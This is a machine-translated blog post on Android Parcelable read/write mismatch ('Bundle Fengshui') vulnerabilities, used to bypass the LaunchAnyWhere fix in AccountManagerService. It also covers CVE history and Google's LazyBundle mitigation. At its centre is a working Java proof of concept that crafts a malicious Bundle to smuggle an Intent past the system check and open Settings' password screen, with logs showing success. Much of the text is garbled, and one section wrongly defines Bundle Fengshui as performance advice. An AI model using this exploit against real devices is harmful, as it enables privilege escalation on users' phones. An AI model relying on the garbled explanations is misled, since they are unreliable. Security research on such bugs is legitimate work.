Bundle Fengshui- Android Parcel Serialization and Deserialization Mismatch Series Vulnerabilities

foreword

Screenshot_20230414163411645_com.ss.android.article.newsedit.jpg

In 2023, well-known Internet manufacturers will continue to dig new Android- OEMrelated vulnerabilities, Appand realize vulnerability attacks on mainstream mobile phone systems in the current market in their public releases.

The following descriptions are all from real cases that are happening on hundreds of millions of mobile phones at the moment. Relevant sensitive information has been processed.

The first hacking method used by the Internet manufacturer Appin Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞. 0day/Nday 攻击abilityStartAnyWhere .

Before reading this article, understand launchAnyWherethe vulnerability and Bundle数据结构和反序列化:

launchAnyWhere: Activity component permission bypass vulnerability analysis

Bundle data structure and deserialization analysis

What is Bundle Feng Shui

BundleFeng Shui ( Bundle Fengshui) means that in Androidapplication development, Bundlewhen using the class to transfer data, you need to pay attention to some optimization techniques to avoid performance problems in the process of transferring data.

Since Bundlethe class stores data based on key-value pairs and supports the transfer of multiple data types, you need to pay attention to the following aspects when using it:

Avoid using it when passing large amounts of data Bundle: When you need to transfer large amounts of data, you should consider using other more efficient transfer methods, such as serialization, Parcelableetc.

Try to avoid serialization and Parcelable: Although serialization and Parcelablecan be used to pass complex objects, but their performance is low, should be avoided as much as possible.

Use appropriate data types: When using Bundleto transfer data, you should use appropriate data types according to actual needs, such as using getInt()instead of getLong()etc.

Reasonable Bundleuse API: BundleThe class provides multiple API, such as putXXX(), , getXXX()etc., which should be used according to actual needs API.

Avoid using BundlePassing large amounts of data: BundleClasses may have performance issues when passing large amounts of data and should be avoided as much as possible.

In short, BundleFeng Shui means that when using Bundlethe class to transfer data, you need to pay attention to some optimization techniques to avoid performance problems during the transfer of data.

Related articles: Introducing Android's Safer Parcel - Black Hat

When a developer manipulates Parcelan object and tries to read from or write data to it, a type of error can occur: the developer, for various reasons, may be too careless, have not considered good boundary conditions, or have an understanding of certain container Javatypes There is an error, which leads to the fact that when processing the same Parcelableobject, the number of bytes read Parcelfrom it is not equal to the number of bytes written to it, resulting in misalignment. This is Parcelablethe deserialization vulnerability. For example the following code:

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

Obviously, the developer only read 4 bytes when reading, but wrote 8 bytes when writing! This looks very stupid, it seems that no developer will write this kind of vulnerability, but in the actual code there may be much more complicated situations than this example, so that even Google developers will make mistakes, and even some loopholes I am in The first time I saw the code, I didn't find the problem, but it took a few hours to realize that there was a hidden read-write mismatch problem.

LaunchAnyWhere vulnerability code review

launchAnyWhere: Activity component permission bypass vulnerability analysis In this article, we only briefly describe this problem. It is in the process AccountManagerServicof e AddAccount. After system_serverreceiving Bundlethe parameters, there is no inspection, and the fields Settingsinside are directly taken out KEY_INTENT(intent)and the interface is started. This is A typical LaunchAnyWherevulnerability, Googlethe fix at that time was also very simple. After selecting Zhongzhong to system_serverreceive Bundleit, try to take it out Intent. If this field exists, check Intentwhether the parsed final calling component belongs to the original caller, thus avoiding the caller SettingsLaunch any question as Activity.

//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
        extends IAccountManager.Stub
        implements RegisteredServicesCacheListener<AuthenticatorDescription> {
    
    
    /****部分代码省略****/
    /** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
    private abstract class StartAccountSession extends Session {
    
    
        /****部分代码省略****/

        @Override
        public void onResult(Bundle result) {
    
    
            Bundle.setDefusable(result, true);
            mNumResults++;
            Intent intent = null;
            //尝试从Bundle对象中取出KEY_INTENT
            if (result != null
                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    
    
                //对KEY_INTENT进行校验
                if (!checkKeyIntent(
                        Binder.getCallingUid(),
                        intent)) {
    
    
                    onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
                            "invalid intent in bundle returned");
                    return;
                }
            }
            /****部分代码省略****/
            sendResponse(response, result);
        }
    }

    private void sendResponse(IAccountManagerResponse response, Bundle result) {
    
    
        try {
    
    
            response.onResult(result);
        } catch (RemoteException e) {
    
    
            // if the caller is dead then there is no one to care about remote
            // exceptions
            if (Log.isLoggable(TAG, Log.VERBOSE)) {
    
    
                Log.v(TAG, "failure while notifying response", e);
            }
        }
    }

    private abstract class Session extends IAccountAuthenticatorResponse.Stub
            implements IBinder.DeathRecipient, ServiceConnection {
    
    
        /**
         * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
         * security policy.
         *
         * In particular we want to make sure that the Authenticator doesn't try to trick users
         * into launching arbitrary intents on the device via by tricking to click authenticator
         * supplied entries in the system Settings app.
         */
        protected boolean checkKeyIntent(int authUid, Intent intent) {
    
    
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
            long bid = Binder.clearCallingIdentity();
            try {
    
    
                PackageManager pm = mContext.getPackageManager();
                //解析出Intent最终调用的Activity
                ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
                if (resolveInfo == null) {
    
    
                    return false;
                }
                ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
                int targetUid = targetActivityInfo.applicationInfo.uid;
                PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
                // 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
                if (!isExportedSystemActivity(targetActivityInfo)
                        && !pmi.hasSignatureCapability(
                                targetUid, authUid,
                                PackageParser.SigningDetails.CertCapabilities.AUTH)) {
    
    
                    String pkgName = targetActivityInfo.packageName;
                    String activityName = targetActivityInfo.name;
                    String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
                            + "does not share a signature with the supplying authenticator (%s).";
                    Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
                    return false;
                }
                return true;
            } finally {
    
    
                Binder.restoreCallingIdentity(bid);
            }
        }
    }
}

SettingsIntentCall to send after receiving startActivityForResultAsUser:

http://androidxref.com/4.4_r1/xref/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java

public class AddAccountSettings extends Activity {
    
    
    /****部分代码省略****/
    private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
    
    
        @Override
        public void run(AccountManagerFuture<Bundle> future) {
    
    
            boolean done = true;
            try {
    
    
                Bundle bundle = future.getResult();
                //bundle.keySet();
                //获得KEY_INTENT
                Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
                if (intent != null) {
    
    
                    done = false;
                    Bundle addAccountOptions = new Bundle();
                    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
                    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
                            Utils.hasMultipleUsers(AddAccountSettings.this));
                    addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
                    intent.putExtras(addAccountOptions);
                    //启动KEY_INTENT代表的Activity
                    startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
                } else {
    
    
                    setResult(RESULT_OK);
                    if (mPendingIntent != null) {
    
    
                        mPendingIntent.cancel();
                        mPendingIntent = null;
                    }
                }
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
            } catch (OperationCanceledException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
            } catch (IOException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } catch (AuthenticatorException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } finally {
    
    
                if (done) {
    
    
                    finish();
                }
            }
        }
    };
}

ParcelableThere was no problem with this patch at the time, but until 2017, some overseas researchers found in a malicious sample that deserialization could be used to bypass this patch, because Google's patch was system_serverchecked in Intentand passed AIDLto SettingsThen start the interface, which crosses the process boundary, which also involves a serialization and deserialization process, then if we pass, Parcelable反序列化漏洞的字节错位through the precise layout, we ca n't find this system_serverwhen checking , but it just happens after the misplacement It can be found, so that the patch can be bypassed and implemented again . The researchers named this exploit method as .IntentIntentSettingsLaunchAnyWhereBundle mismatch

Bundle mismatch, how to exploit Parcelable deserialization vulnerability

Knowing how Androidthe framework Bundlehandles types, now we need to focus on how to develop an Bundle mismatchexploit. Let's still take the above vulnerability as an example, and review our sample code:

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

In this example, the read is 4 bytes, and the write is 8 bytes. Then we consider the latter 4 bytes as the core of the entire utilization. According to the Bundle format parsing logic described above, when serializing After writing a 0, after reading 4 bytes next time, where will this 0 go?

The answer is that he must exist as the next one Bundle key, key stringand readStringthe beginning we know is to read one intas the length of the string first. So there is an answer to the question, the 0 behind us will be considered as the length of a string, and it is a 0-length string. Note that it is not a nullstring, because nullthe length field of the string is -1.

Now we know that in addition to this.bthe 0 written in front, the next 4 bytes will paddingexist, so how do we continue the layout later? Here we need to fill in another type field, which we choose here VAL_BYTEARRAY, which is 13, and the length and content of the byte array need to be laid out later. This needs to be combined with the logic before the dislocation. After careful debugging, I give The answer is as follows (excluding the misplaced 0):

Construct a malicious Bundle

public Bundle makeBundle() {
    
    
    Bundle bundle = new Bundle();
    Parcel bndlData = Parcel.obtain();
    Parcel exp = Parcel.obtain();
    exp.writeInt(3); // bundle key count
    //byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
    //String mismatch = new String(key1Name);
    String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
    exp.writeString(mismatch);
    exp.writeInt(4); // VAL_PARCELABLE
    exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
    // 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
    exp.writeInt(0);
    /**********************恶意构造的内容start*********************************/
    byte[] key2key = {
    
    13, 0, 8};
    String key2Name = new String(key2key);
    // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
    //简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
    exp.writeString(key2Name);//整体作为长度为3的key string
    // 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
    exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
    int intentSizeOffset = exp.dataPosition();
    // 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
    int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
    exp.writeInt(evilObject);
    int intentStartOffset = exp.dataPosition();
    /**********************恶意构造的内容end*********************************/
    /**********************intent内容start*********************************/
    exp.writeString(AccountManager.KEY_INTENT);
    exp.writeInt(4);// VAL_PARCELABLE
    //可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
    //Intent intent = new Intent(Intent.ACTION_RUN);
    //intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    //intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
    //exp.writeParcelable(intent, 0);
    exp.writeString("android.content.Intent");// name of Class Loader
    exp.writeString(Intent.ACTION_RUN); // Intent Action
    Uri.writeToParcel(exp, null); // Uri is null
    exp.writeString(null); // mType is null
    //exp.writeString(null); // mIdentifier is null android28没有该字段
    exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
    exp.writeString(null); // mPackage is null
    exp.writeString("com.android.settings");
    exp.writeString("com.android.settings.password.ChooseLockPassword");
    exp.writeInt(0); //mSourceBounds = null
    exp.writeInt(0); // mCategories = null
    exp.writeInt(0); // mSelector = null
    exp.writeInt(0); // mClipData = null
    exp.writeInt(-2); // mContentUserHint
    exp.writeBundle(null);
    /**********************intent内容end*********************************/

    int intentEndOffset = exp.dataPosition();
    //将指针设置在intent数据之前,然后写入intent的大小
    exp.setDataPosition(intentSizeOffset);
    int intentSize = intentEndOffset - intentStartOffset;
    exp.writeInt(intentSize);
    Log.d("tanzhenxing33", "intentSize=" + intentSize);
    //写完之后将指针重置回原来的位置
    exp.setDataPosition(intentEndOffset);

    // 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
    String key3Name = "Padding-Key";
    //String key3Name = "padding";//hashcode排序失败
    exp.writeString(key3Name);
    exp.writeInt(-1);//VAL_NULL

    int length = exp.dataSize();
    bndlData.writeInt(length);
    bndlData.writeInt(0x4c444E42);//魔数
    bndlData.appendFrom(exp, 0, length);//写入数据总长度
    bndlData.setDataPosition(0);
    Log.d("tanzhenxing33", "length=" + length);
    bundle.readFromParcel(bndlData);
    return bundle;
}

We Bundleserialize and deserialize the arrival of the above code to check the sum type inside key: Value: is just
mainconstructed ; : is the second arrival of a kernel transmission ;BundleActivity
TestBundleMismatchResultActivityActivity

D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key =  [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }

You can see what was just constructed Bunlde:

  • mismatchCorrespondingly key, it Valueis com.tzx.launchanywhere. MyClass the type;
  • Correspondingly key, it Valueis Bytean array;
  • Padding-KeyCorrespondingly key, it Valueis NULL;

Serialized and deserialized once Bundle:

  • mismatchCorrespondingly key, it Valueis com.tzx.launchanywhere. MyClass the type;
  • intentCorrespondingly key, it Valueis android.content.Intentthe type;
  • Corresponding to an empty string key, it Valueis Bytean array;

Bundle binary data analysis

In fact, the content described above is easier to understand through the changes in the Bundle binary data.

Before looking at binary data, let's talk about String's 4-byte alignment

4-byte alignment of String

In a computer, due to reasons such as hardware storage structure, the memory layout of many data types needs to be aligned, which also includes string types.
In a string, it is usually stored in bytes. In order to achieve optimal memory access performance, it is usually necessary to store each character of the string in a 4-byte memory address.
Therefore, when the length of the string is not a multiple of 4, an extra null byte will be added at the end of the string for padding to meet the requirement of 4-byte alignment. For example, if the string has a length of 5, a null byte is added at the end to make it 8, which satisfies the 4-byte alignment requirement.
It should be noted that this alignment operation will have a certain impact on memory usage, because for many short strings, the actual memory used may be longer than their length. Therefore, when processing a large amount of string data, you need to pay attention to the usage of memory to avoid problems such as insufficient memory.

Data in Parcel written to file

We Parcelwrite the data in to a file for viewing:

private void writeByte(Parcel bndlData) {
    
    
    try {
    
    
        byte[] raw = bndlData.marshall();
        File file = new File(getExternalCacheDir(), "obj.pcl");
        if (file.exists()) {
    
    
            file.delete();
        } else {
    
    
            file.createNewFile();
        }
        FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
        fos.write(raw);
        fos.close();
    } catch (Exception e) {
    
    
        e.printStackTrace();
    }
}

view binaries

The written file is a binary file, we can odview it with the command:

od -tx1 obj.pcl

It can also hexfiendbe viewed through tools, the download link is https://hexfiend.com/ .

Or view directly by vs cdoeinstalling hexthe relevant plug-in.

Data Analysis Results

Constructed malicious Bundledata analysis results

insert image description here

The constructed malicious Bundledata is analyzed once through serialization and deserialization

insert image description here

Compared with the first Bundledata analysis graph, we only need to pay attention to the data analysis results in the red box:

  1. After one serialization, one more 0 MyClassis written ;int
  2. This 0 will be used as the length of the second key;
  3. The previous writeStringterminator and byte-aligned 4 bytes will be used as a name 0of length key;
  4. {13, 0, 8}The first 4 bytes written before will be used as the length 0of keythe data type ( VAL_BYTEARRAY=13), and the following 8 and byte-aligned 4 bytes will be used as ByteArraythe length of the length, and its value is equal to 8;
  5. The length of the previously written ( VAL_BYTEARRAY=13) and Intentthe length of these 8 bytes as the length 0of ;keyValue
  6. The length of the next read keyis 6, keyand the name is intent;
  7. The last element will be ignored after misplacement, because the number of elements already read is enough;

Bug fixes

The repair of the above vulnerabilities seems to be very intuitive, just need to repair the mismatched reading and writing in MyClassthe class . But in fact this kind of vulnerability is not an isolated case. Historically, due to the carelessness of code writers, there have been many privilege escalation vulnerabilities caused by read-write mismatches, including but not limited to:

CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…

Another fix idea is to fix TOCTOUthe vulnerability itself, that is, to ensure that the deserialization objects checked and used are the same, but this fix is ​​only a temporary solution, not the root cause, and attackers may find other attack paths and bypass them.

Therefore, in order to completely solve this kind of endless problems, Googlea simple and crude slow-release solution is proposed, that is, start directly from Bundlethe class . Although Bundleitself is ArrayMapa structure, even if only one of them needs to be obtained during deserialization key, the whole needs to Bundlebe deserialized again. The main reason for this is that the size of each element in the serialized data is not fixed and is determined by the type of the element. If you do not parse all the previous data, you will not know where the target element is.

To this 2021end around , a project called AOSPwas Bundle submitted . The main idea is that for some custom types with variable lengths, such as structures or containers such as , , , etc., the size of the corresponding data will be added to the header during serialization. In this way, when encountering these types of data during deserialization, you can selectively skip the parsing of these elements only by checking the header. At this time corresponding element in will be set to , and then when these values ​​are actually used To deserialize specific data.LazyBundle(9ca6a5)patchParcelableSerializableListsMapLazyValue

This patchcan alleviate Bundle 风水the attack against to a certain extent, and it is also helpful in improving the robustness of the system, because even for damaged Parceldata , if the receiver does not use the corresponding field, the exception can be avoided. For the previous Bundleparsing strategy, even if only sizethe method is called, it will trigger the parsing of all elements and cause an exception. A parameter patchin this , if it is, each element will be parsed in the traditional way, otherwise the parsing of will be skipped.unparcelbooleanitemwisetrueLazyValue

Those who are interested can read the patchcorresponding submission record, LazyBundle(9ca6a5)

The corresponding modification can also be seen in the Android13 source code: BaseBundle.java in android13

//android-33/android/os/Parcel.java
public final class Parcel {
    
    
  /****部分代码省略****/
  @Nullable
  public Object readLazyValue(@Nullable ClassLoader loader) {
    
    
      int start = dataPosition();
      int type = readInt();
      if (isLengthPrefixed(type)) {
    
    
          int objectLength = readInt();
          int end = MathUtils.addOrThrow(dataPosition(), objectLength);
          int valueLength = end - start;
          setDataPosition(end);
          return new LazyValue(this, start, valueLength, type, loader);
      } else {
    
    
          return readValue(type, loader, /* clazz */ null);
      }
  }
  public final void writeValue(@Nullable Object v) {
    
    
    if (v instanceof LazyValue) {
    
    
        LazyValue value = (LazyValue) v;
        value.writeToParcel(this);
        return;
    }
    int type = getValueType(v);
    writeInt(type);
    if (isLengthPrefixed(type)) {
    
    
        // Length
        int length = dataPosition();
        writeInt(-1); // Placeholder
        // Object
        int start = dataPosition();
        writeValue(type, v);
        int end = dataPosition();
        // Backpatch length
        setDataPosition(length);
        writeInt(end - start);
        setDataPosition(end);
    } else {
    
    
        writeValue(type, v);
    }
  }
  private boolean isLengthPrefixed(int type) {
    
    
    // In general, we want custom types and containers of custom types to be length-prefixed,
    // this allows clients (eg. Bundle) to skip their content during deserialization. The
    // exception to this is Bundle, since Bundle is already length-prefixed and already copies
    // the correspondent section of the parcel internally.
    switch (type) {
    
    
        case VAL_MAP:
        case VAL_PARCELABLE:
        case VAL_LIST:
        case VAL_SPARSEARRAY:
        case VAL_PARCELABLEARRAY:
        case VAL_OBJECTARRAY:
        case VAL_SERIALIZABLE:
            return true;
        default:
            return false;
    }
  }
}

LaunchAnyWhere code address

The article is all told here, if you have other needs to communicate, you can leave a message~!

Reference article:

Talk about Parcelable deserialization vulnerability and Bundle mismatch

Bundle Fengshui - Android Serialization and Deserialization Mismatch Vulnerability Detailed Explanation

Android Deserialization Vulnerability Attack and Defense History

Guess you like

Origin blog.csdn.net/stven_king/article/details/130360390